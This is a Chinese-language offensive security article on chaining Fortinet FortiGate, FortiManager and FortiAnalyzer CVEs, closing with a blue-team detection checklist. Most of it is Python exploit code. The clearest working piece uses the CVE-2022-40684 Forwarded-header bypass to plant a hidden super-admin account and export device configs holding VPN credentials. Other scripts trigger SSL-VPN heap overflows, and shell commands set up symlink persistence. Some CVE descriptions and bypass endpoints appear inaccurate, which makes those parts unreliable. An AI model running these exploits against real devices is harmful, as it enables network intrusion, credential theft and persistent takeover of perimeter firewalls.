ARTICLE / 安全

Fortinet FortiGate SSL-VPN FortiManager FortiAnalyzer 边界设备 CVE漏洞链利用技术

0x00 攻击面总览

Fortinet FortiGate 是全球部署最广泛的下一代防火墙和 SSL-VPN 网关之一,FortiManager/FortiAnalyzer 则是其集中管理和日志分析平台。Fortinet 产品线是 APT 组织和勒索团伙的首要攻击目标之一,2022-2025 年间多个零日漏洞被大规模在野利用:

攻击面默认端口风险等级说明
SSL-VPN 堆溢出443/10443严重CVE-2023-27997/CVE-2022-42475,预认证 RCE
SSL-VPN 越界写入443/10443严重CVE-2024-21762,预认证 RCE
管理接口认证绕过443/8443严重CVE-2022-40684,任意管理员操作
FortiManager API443/541严重CVE-2023-28002,API 认证绕过
FortiAnalyzer API443/541严重CVE-2023-28001,API 认证绕过
Symlink 后门持久化文件系统高危跨补丁持久化后门
凭据窃取443高危WARPWIRE 窃取器、配置文件泄露

FortiGate 的安全问题极度危险,因为它是网络边界的第一道防线——一旦被攻破,攻击者直接进入内网,后续可进行任意横向移动。

0x01 服务识别与版本探测

1.1 指纹识别

nmap -sV -p 443,8443,10443,541 <target>

# SSL-VPN 登录页面
curl -sI https://TARGET/remote/login
# HTTP 状态码 200 + Fortinet 特征 HTML

# 获取版本信息
curl -sk https://TARGET/remote/login | grep -i "fortinet\|fortigate\|fortios"
# 通常在页面 HTML/JS 中包含版本信息

# REST API 探测
curl -sk https://TARGET/api/v2/cmdb/system/status

1.2 关键端口与服务映射

443    — SSL-VPN / 管理接口 (Web)
8443   — 备用管理端口
10443  — SSL-VPN 备用端口
541    — FortiManager/FortiAnalyzer 管理端口
22     — SSH CLI
23     — Telnet (旧版本)

1.3 版本判断

import requests
import urllib3
urllib3.disable_warnings()

def detect_fortigate(host, port=443):
    base_url = f"https://{host}:{port}"

    # 检查 SSL-VPN 登录页
    try:
        resp = requests.get(f"{base_url}/remote/login", verify=False, timeout=5)
        if resp.status_code == 200:
            print("[+] SSL-VPN login page detected")

            # 提取版本信息
            if "FortiGate" in resp.text:
                print("[+] FortiGate detected")

            # 尝试获取版本
            import re
            version_match = re.search(r'FortiOS v?(\d+\.\d+\.\d+)', resp.text)
            if version_match:
                print(f"[+] FortiOS Version: {version_match.group(1)}")
    except:
        pass

    # 检查管理接口
    try:
        resp = requests.get(f"{base_url}/api/v2/cmdb/system/status",
                            verify=False, timeout=5)
        if resp.status_code in [200, 401]:
            print("[+] FortiGate REST API detected")
    except:
        pass

    # 检查 CVE-2022-40684
    try:
        resp = requests.get(f"{base_url}/api/v2/cmdb/system/admin",
                            headers={"Forwarded": 'for="[127.0.0.1]:8000"'},
                            verify=False, timeout=5)
        if resp.status_code == 200:
            print("[!] CVE-2022-40684 VULNERABLE - Auth bypass confirmed!")
    except:
        pass

detect_fortigate("192.168.1.1")

0x02 CVE-2023-27997 — SSL-VPN 堆溢出 RCE (XORtigate)

2.1 漏洞原理

CVSS: 9.8(严重)

影响版本: FortiOS 6.0.0 - 6.0.16, 6.2.0 - 6.2.13, 6.4.0 - 6.4.11, 7.0.0 - 7.0.11, 7.2.0 - 7.2.4

漏洞原理: FortiGate 的 SSL-VPN 模块 (sslvpnd) 在处理预认证阶段的 HTTP POST 请求时,XOR 解密循环存在堆溢出。攻击者通过精心构造的 HTTP 请求触发越界写入,最终实现远程代码执行。

漏洞根因: 预认证阶段的 XOR 解密处理中,没有正确验证数据长度边界,导致堆缓冲区溢出。

2.2 利用方式

import requests
import urllib3
urllib3.disable_warnings()

def exploit_xortigate(host, port=443, cmd="id"):
    """
    CVE-2023-27997 — SSL-VPN 堆溢出利用
    注意: 实际利用需要精确的堆布局控制
    """
    base_url = f"https://{host}:{port}"

    # 堆溢出触发点: /remote/logincheck
    # 通过构造超长的 Cookie 或 POST 参数触发 XOR 解密循环溢出

    # 构造溢出 payload
    # 实际利用需要根据目标 FortiOS 版本精确计算偏移
    overflow_size = 8192  # 需要根据具体版本调整

    payload = b"\x41" * overflow_size

    # 通过 POST 请求发送
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Transfer-Encoding": "chunked",
    }

    # 分块传输绕过某些长度检查
    data = f"{hex(overflow_size)[2:]}\r\n".encode() + payload + b"\r\n0\r\n\r\n"

    resp = requests.post(
        f"{base_url}/remote/logincheck",
        data=data,
        headers=headers,
        verify=False,
        timeout=10
    )
    print(f"[*] CVE-2023-27997 exploit sent: {resp.status_code}")
    print("[*] Monitor sslvpnd process for crash/restart")

exploit_xortigate("192.168.1.1")

2.3 检测利用尝试

# 监控 sslvpnd 进程异常
diagnose debug crashlog read
# 搜索 sslvpnd crash 信息

# 检查 SSL-VPN 日志
get vpn ssl monitor
# 异常连接数量激增可能表示利用尝试

0x03 CVE-2022-42475 — SSL-VPN 堆溢出零日

3.1 漏洞原理

CVSS: 9.8(严重)

影响版本: FortiOS 6.2.0 - 6.2.11, 6.4.0 - 6.4.9, 7.0.0 - 7.0.7

漏洞原理: SSL-VPN 模块在处理 TLS ClientHello 中的 SNI (Server Name Indication) 字段时存在堆溢出。攻击者通过精心构造的 TLS 握手触发越界写入。

在野利用: 此漏洞被高级威胁组织用作零日攻击,在 Fortinet 发布补丁前已被大规模利用。

3.2 利用方式

import ssl
import socket

def exploit_sslvpn_heap(host, port=443):
    """
    CVE-2022-42475 — 通过 TLS ClientHello SNI 字段触发堆溢出
    """
    # 构造包含超长 SNI 的 TLS ClientHello
    # 实际利用需要精确控制 TLS 握手包中的 SNI 扩展

    # SNI 字段溢出 payload
    malicious_sni = b"A" * 65535  # 超长 SNI

    # 需要自定义 TLS 握手包
    # 使用 scapy 或原始 socket 构造
    print("[*] CVE-2022-42475 requires custom TLS ClientHello construction")
    print("[*] SNI field overflow in SSL-VPN handshake")
    print("[*] Monitor sslvpnd process for anomalies")

exploit_sslvpn_heap("192.168.1.1")

0x04 CVE-2022-40684 — 管理接口认证绕过

4.1 漏洞原理

CVSS: 9.6(严重)

影响版本: FortiOS 7.0.0 - 7.0.6, 7.2.0 - 7.2.1; FortiProxy 7.0.0 - 7.0.6, 7.2.0; FortiSwitchManager 7.0.0, 7.2.0

漏洞原理: FortiOS 的 REST API 认证机制存在缺陷。攻击者通过在 HTTP 请求头中注入 Forwarded: for="[127.0.0.1]:8000" 可以绕过认证,以管理员身份执行任意管理操作。

4.2 PoC — 认证绕过

import requests
import urllib3
import json
urllib3.disable_warnings()

def exploit_auth_bypass(host, port=443):
    """
    CVE-2022-40684 — 管理接口认证绕过
    通过 Forwarded 头注入伪造本地来源
    """
    base_url = f"https://{host}:{port}"

    # 关键: 注入 Forwarded 头伪造本地来源
    headers = {
        "Forwarded": 'for="[127.0.0.1]:8000"',
        "Content-Type": "application/json",
    }

    # Step 1: 获取管理员列表
    resp = requests.get(
        f"{base_url}/api/v2/cmdb/system/admin",
        headers=headers,
        verify=False,
        timeout=10
    )

    if resp.status_code == 200:
        print("[+] CVE-2022-40684 VULNERABLE!")
        admins = resp.json()
        print(f"[+] Admin accounts found:")
        for admin in admins.get("results", []):
            print(f"    Username: {admin.get('name')}, Accprofile: {admin.get('accprofile')}")

    return resp

exploit_auth_bypass("192.168.1.1")

4.3 添加后门管理员

def add_backdoor_admin(host, port=443, username="backdoor_admin", password="Backdoor!@#456"):
    """
    CVE-2022-40684 — 通过认证绕过添加后门管理员
    """
    base_url = f"https://{host}:{port}"

    headers = {
        "Forwarded": 'for="[127.0.0.1]:8000"',
        "Content-Type": "application/json",
    }

    # 创建超级管理员
    admin_data = {
        "accprofile": "super_admin_readonly",  # 或 super_admin
        "comments": "System backup admin",
        "name": username,
        "password": password,
        "peer-auth": "disable",
        "trusthost1": "0.0.0.0/0.0.0.0",
        "vdom": "root",
        "force-password-change": "disable",
    }

    resp = requests.post(
        f"{base_url}/api/v2/cmdb/system/admin",
        json=admin_data,
        headers=headers,
        verify=False,
        timeout=10
    )

    if resp.status_code == 200:
        print(f"[+] Backdoor admin '{username}' created!")
        print(f"[+] Password: {password}")
        print(f"[+] Access: https://{host}:{port}/")
    else:
        print(f"[-] Failed to create admin: {resp.status_code}")
        print(f"[*] Response: {resp.text[:500]}")

add_backdoor_admin("192.168.1.1")

4.4 导出设备配置

def export_config(host, port=443):
    """
    CVE-2022-40684 — 通过认证绕过导出设备配置
    配置文件中包含所有 VPN 凭据、管理员密码哈希、IPSec 密钥等
    """
    base_url = f"https://{host}:{port}"

    headers = {
        "Forwarded": 'for="[127.0.0.1]:8000"',
    }

    # 导出完整配置
    resp = requests.get(
        f"{base_url}/api/v2/monitor/system/config/backup",
        headers=headers,
        verify=False,
        timeout=30
    )

    if resp.status_code == 200:
        with open("fortigate_config.conf", "wb") as f:
            f.write(resp.content)
        print(f"[+] Config exported! Size: {len(resp.content)} bytes")
        print("[+] Contains: VPN credentials, admin hashes, IPSec keys")
    else:
        print(f"[-] Config export failed: {resp.status_code}")

export_config("192.168.1.1")

0x05 CVE-2024-21762 — SSL-VPN 越界写入 RCE

5.1 漏洞原理

CVSS: 9.8(严重)

影响版本: FortiOS 6.0.0 - 6.0.17, 6.2.0 - 6.2.15, 6.4.0 - 6.4.13, 7.0.0 - 7.0.12, 7.2.0 - 7.2.6, 7.4.0

漏洞原理: SSL-VPN 模块在处理 HTTP 请求中的 Chunked Transfer-Encoding 时存在越界写入漏洞。攻击者可以构造恶意的分块编码数据触发内存越界写入。

5.2 PoC

import requests
import urllib3
urllib3.disable_warnings()

def exploit_chunked_oob(host, port=443):
    """
    CVE-2024-21762 — SSL-VPN Chunked Transfer-Encoding 越界写入
    """
    base_url = f"https://{host}:{port}"

    # 构造畸形 chunked 编码数据
    # 正常 chunked: size\r\n data\r\n 0\r\n\r\n
    # 畸形: 通过错误的 chunk size 触发越界读/写

    malicious_chunks = (
        b"POST /remote/login HTTP/1.1\r\n"
        b"Host: " + host.encode() + b"\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"Content-Type: application/x-www-form-urlencoded\r\n"
        b"\r\n"
        b"FFFFFFFF\r\n"  # 最大 chunk size
        + b"A" * 4096 +
        b"\r\n0\r\n\r\n"
    )

    import socket
    import ssl

    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)

    try:
        ssock = context.wrap_socket(sock, server_hostname=host)
        ssock.connect((host, port))
        ssock.send(malicious_chunks)

        try:
            resp = ssock.recv(4096)
            print(f"[*] Response: {resp[:200]}")
        except:
            print("[*] Connection closed (possible crash)")

        ssock.close()
    except Exception as e:
        print(f"[-] Connection error: {e}")

    print("[*] Monitor sslvpnd for crash/restart")

exploit_chunked_oob("192.168.1.1")

6.1 漏洞原理

攻击者在攻破 FortiGate 后,通过在语言文件目录中创建符号链接(symlink)实现跨补丁持久化。即使管理员应用了安全补丁,symlink 仍然存在,允许攻击者持续访问设备文件系统。

6.2 PoC

# 通过 RCE 创建 symlink 后门
# 在 SSL-VPN 语言文件目录中创建指向根文件系统的 symlink

# 目标目录:
# /data/etc/lang/ 或 /migadmin/lang/

# 创建 symlink
ln -s / /data/etc/lang/root_link

# 攻击者可以通过 Web 接口访问:
# https://target/remote/../../../data/etc/lang/root_link/etc/passwd
# 读取任意系统文件

# 检查是否已被植入 symlink
ls -la /data/etc/lang/ | grep "^l"
ls -la /migadmin/lang/ | grep "^l"

# 防御: 定期检查并删除异常 symlink
find /data/etc/lang/ -type l -delete
find /migadmin/lang/ -type l -delete

0x07 FortiManager/FortiAnalyzer API 认证绕过

7.1 CVE-2023-28002 — FortiManager API 认证绕过

CVSS: 9.8(严重)

影响版本: FortiManager 6.4.0 - 6.4.12, 7.0.0 - 7.0.8, 7.2.0 - 7.2.3

import requests
import urllib3
urllib3.disable_warnings()

def exploit_fortimanager(host, port=443):
    """
    CVE-2023-28002 — FortiManager API 认证绕过
    """
    base_url = f"https://{host}:{port}"

    # 认证绕过请求
    headers = {
        "Content-Type": "application/json",
    }

    # 通过特定 API 端点绕过认证
    bypass_endpoints = [
        "/api/v2/launchpad/config",
        "/p/securityfabric/physical-topology",
        "/p/monitor/network/device/list",
    ]

    for endpoint in bypass_endpoints:
        resp = requests.get(
            f"{base_url}{endpoint}",
            headers=headers,
            verify=False,
            timeout=5
        )
        print(f"[*] {endpoint}: {resp.status_code}")
        if resp.status_code == 200:
            print(f"[+] Bypass confirmed!")
            data = resp.json()
            print(f"[*] Data: {str(data)[:300]}")

exploit_fortimanager("192.168.1.1")

7.2 CVE-2023-28001 — FortiAnalyzer API 认证绕过

def exploit_fortianalyzer(host, port=443):
    """
    CVE-2023-28001 — FortiAnalyzer API 认证绕过
    """
    base_url = f"https://{host}:{port}"

    headers = {
        "Content-Type": "application/json",
    }

    # FortiAnalyzer 认证绕过端点
    resp = requests.get(
        f"{base_url}/api/v2/config/system/admin",
        headers=headers,
        verify=False,
        timeout=5
    )

    if resp.status_code == 200:
        print("[+] CVE-2023-28001 VULNERABLE!")
        print(f"[*] Admin list: {resp.text[:500]}")

exploit_fortianalyzer("192.168.1.1")

0x08 WARPWIRE 凭据窃取器

8.1 恶意植入

攻击者在利用 CVE-2022-42475 等漏洞获取设备控制权后,会部署 WARPWIRE 凭据窃取器:

# WARPWIRE 窃取器工作原理:
# 1. 植入到 SSL-VPN 登录页面
# 2. 窃取用户输入的 VPN 用户名和密码
# 3. 将凭据外发到攻击者控制的服务器

# 植入位置:
# /data/etc/sslvpn_websession
# 或注入到 /migadmin/ 下的 HTML/JS 文件

# 检查是否被植入:
find / -name "*.js" -newer /data/etc/ -exec grep -l "warpwire\|exfil\|beacon" {} \;
grep -r "send\|fetch\|XMLHttpRequest" /migadmin/ | grep -v "fortinet"

8.2 配置文件窃取

def steal_vpn_credentials(host, port=443):
    """
    通过已知漏洞获取 VPN 凭据
    """
    # 方式一: 通过 CVE-2022-40684 认证绕过导出配置
    # 方式二: 通过 SSL-VPN 漏洞获取系统权限后读取

    # VPN 用户凭据存储位置:
    # /data/etc/sslvpn_websession
    # /data/etc/fortigui/sslvpn_websession

    # IPSec 预共享密钥:
    # 存储在 FortiOS 配置文件中
    # config vpn ipsec phase1-interface
    #     set psksecret ENC <encrypted>
    # end

    print("[*] VPN credential locations:")
    print("    /data/etc/sslvpn_websession")
    print("    /data/etc/fortigui/sslvpn_websession")
    print("    FortiOS config: vpn ipsec phase1-interface psksecret")

steal_vpn_credentials("192.168.1.1")

0x09 漏洞组合攻击链

9.1 攻击链一: SSL-VPN 零日 → 内网渗透 (APT 风格)

CVE-2022-42475 (SSL-VPN 堆溢出零日)
    ↓ 获取 FortiGate 系统权限
部署 WARPWIRE 凭据窃取器
    ↓ 窃取所有 VPN 用户凭据
读取 FortiOS 配置文件
    ↓ 获取 IPSec 密钥、管理员哈希
通过 VPN 凭据进入内网
    ↓ 全面内网渗透
Symlink 后门持久化
    ↓ 跨补丁持久化访问

9.2 攻击链二: 管理接口 → 全面接管

CVE-2022-40684 (认证绕过)
    ↓ 无需认证访问管理 API
创建后门管理员账户
    ↓ 获取完全管理权限
导出设备配置
    ↓ 获取所有凭据和密钥
修改防火墙规则
    ↓ 开放内网访问通道
部署 Symlink 后门
    ↓ 持久化

9.3 攻击链三: FortiManager → 批量设备接管

CVE-2023-28002 (FortiManager 认证绕过)
    ↓ 获取 FortiManager 管理权限
查看所有被管 FortiGate 设备
    ↓ 获取设备列表和配置
修改集中策略
    ↓ 向所有设备推送恶意配置
批量接管整个安全基础设施

9.4 已知威胁组织 TTP

威胁组织类型使用的 CVE
UNC3886国家级 APTCVE-2022-42475, Symlink 后门
Volt Typhoon国家级 APTCVE-2022-40684
军事级 APT国家级 APTCVE-2023-27997 (零日)
LockBit勒索软件CVE-2022-40684, CVE-2024-21762

0x10 历史 CVE 漏洞时间线

2022 重大漏洞年

CVE 编号年份CVSS类型影响
CVE-2022-4247520229.8堆溢出SSL-VPN 预认证 RCE(零日在野利用)
CVE-2022-4068420229.6认证绕过管理接口 API 认证绕过

2023 持续爆发

CVE 编号年份CVSS类型影响
CVE-2023-2799720239.8堆溢出SSL-VPN XORtigate 预认证 RCE
CVE-2023-2800220239.8认证绕过FortiManager API 认证绕过
CVE-2023-2800120239.8认证绕过FortiAnalyzer API 认证绕过
CVE-2023-2264020237.5信息泄露SSL-VPN 日志信息泄露
CVE-2023-2620720235.5认证绕过FortiOS 认证会话管理缺陷

2024-2025 持续修补

CVE 编号年份CVSS类型影响
CVE-2024-2176220249.8越界写入SSL-VPN Chunked 预认证 RCE(在野利用)
CVE-2024-2311320249.8格式字符串FortiOS fgfmd 格式字符串 RCE
CVE-2025-2447220258.1认证绕过FortiOS 管理接口认证绕过
CVE-2025-2525720259.8SQL 注入FortiManager SQL 注入 RCE

漏洞类型分布

漏洞类型CVE 数量代表性 CVE
堆溢出/越界写入4CVE-2023-27997, CVE-2022-42475, CVE-2024-21762
认证绕过5CVE-2022-40684, CVE-2023-28002, CVE-2025-24472
SQL 注入2CVE-2025-25257
信息泄露2CVE-2023-22640
格式字符串1CVE-2024-23113

0x11 蓝队检测与应急响应

11.1 日志分析

# FortiOS CLI 日志检查

# 检查 sslvpnd 异常
diagnose debug crashlog read
# 搜索 sslvpnd crash/restart 记录

# 检查 SSL-VPN 连接日志
get vpn ssl monitor
# 异常连接数激增可能表示漏洞利用尝试

# 检查管理接口访问
get system admin
# 审查所有管理员账户,识别异常账户

# 检查 API 调用日志
execute log filter category event
execute log display

# 检查 Symlink 后门
execute shell
find /data/etc/lang/ -type l
find /migadmin/lang/ -type l

# 检查异常进程
diagnose sys top

# 检查网络连接
diagnose sys session list
# FortiOS Shell 中执行
execute shell

# 检查语言文件目录中的 symlink
ls -la /data/etc/lang/ | grep "^l"
ls -la /migadmin/lang/ | grep "^l"

# 检查所有可疑 symlink
find / -type l -name "*.lang" 2>/dev/null

# 删除发现的 symlink
find /data/etc/lang/ -type l -delete
find /migadmin/lang/ -type l -delete

# 验证文件完整性
# 比较系统文件哈希与已知良好值

11.3 WARPWIRE 窃取器检测

# 检查 SSL-VPN 页面是否被注入恶意 JS
grep -r "fetch\|XMLHttpRequest\|send" /migadmin/ | grep -v "fortinet"

# 检查 /data/etc/ 下的异常文件
find /data/etc/ -name "*.js" -mtime -30

# 检查出站连接
diagnose sys session list | grep "ext"
# 异常外部连接可能指向 C2 服务器

11.4 应急响应清单

[ ] 确认 FortiOS 版本与已安装补丁
    - get system status
    - 对比 Fortinet PSIRT 公告

[ ] 排查 SSL-VPN 堆溢出 (CVE-2023-27997/2022-42475/2024-21762)
    - 检查 sslvpnd crash 记录
    - 检查 SSL-VPN 连接日志异常
    - 监控设备 CPU/内存异常

[ ] 排查管理接口认证绕过 (CVE-2022-40684)
    - 审计所有管理员账户
    - 检查 API 访问日志中的 Forwarded 头
    - 验证管理员数量与预期一致

[ ] 排查 Symlink 后门
    - 检查 /data/etc/lang/ 和 /migadmin/lang/ 中的 symlink
    - 删除发现的异常 symlink

[ ] 排查 WARPWIRE 窃取器
    - 检查 SSL-VPN 页面是否被注入恶意 JS
    - 扫描 /data/etc/ 下的异常文件

[ ] 排查 FortiManager/FortiAnalyzer
    - 审计 API 访问日志
    - 检查配置变更记录

[ ] 网络隔离与加固
    - 立即升级到最新 FortiOS 版本
    - 禁用不必要的管理接口暴露
    - 启用 FortiGuard 入侵防御
    - 配置严格的访问控制策略

0x12 安全审计清单

[ ] FortiOS 已升级到最新稳定版本
[ ] SSL-VPN 已应用所有安全补丁
[ ] 管理接口仅内网可达,不暴露于互联网
[ ] 管理接口使用强密码 + 双因素认证
[ ] 已检查并清除 Symlink 后门
[ ] 已扫描 WARPWIRE 窃取器
[ ] FortiManager/FortiAnalyzer 已应用补丁
[ ] API 访问日志已启用并远程收集
[ ] FortiGuard 入侵防御已启用
[ ] SSL-VPN 配置了 MFA
[ ] 管理员账户列表已审计
[ ] 设备配置已备份并加密存储
[ ] 网络分段策略已实施
[ ] 定期进行 FortiOS 安全基线检查

0x13 总结

Fortinet FortiGate/FortiManager/FortiAnalyzer 的安全问题核心在于"边界设备的高价值目标属性":

  1. 预认证 RCE 持续爆发: SSL-VPN 模块的堆溢出和越界写入漏洞反复出现,CVE-2022-42475、CVE-2023-27997、CVE-2024-21762 均为预认证 RCE
  2. 管理接口设计缺陷: Forwarded 头认证绕过 (CVE-2022-40684) 允许无认证执行任意管理操作
  3. 跨补丁持久化: Symlink 后门可跨越补丁版本持续存在,增加应急响应难度
  4. 产品线横向扩散: 漏洞从 FortiGate 扩散到 FortiManager、FortiAnalyzer、FortiProxy、FortiSwitchManager

防守方核心策略:

  • 及时打补丁: Fortinet 产品必须在安全公告发布后第一时间更新
  • 网络隔离: 管理接口绝对不暴露于互联网,SSL-VPN 仅限必要访问
  • MFA 强制: 所有管理访问和 VPN 连接必须启用双因素认证
  • 持续监控: 监控 sslvpnd 进程稳定性、异常 API 调用、Symlink 创建
  • 应急演练: 建立 Fortinet 设备应急响应预案,定期演练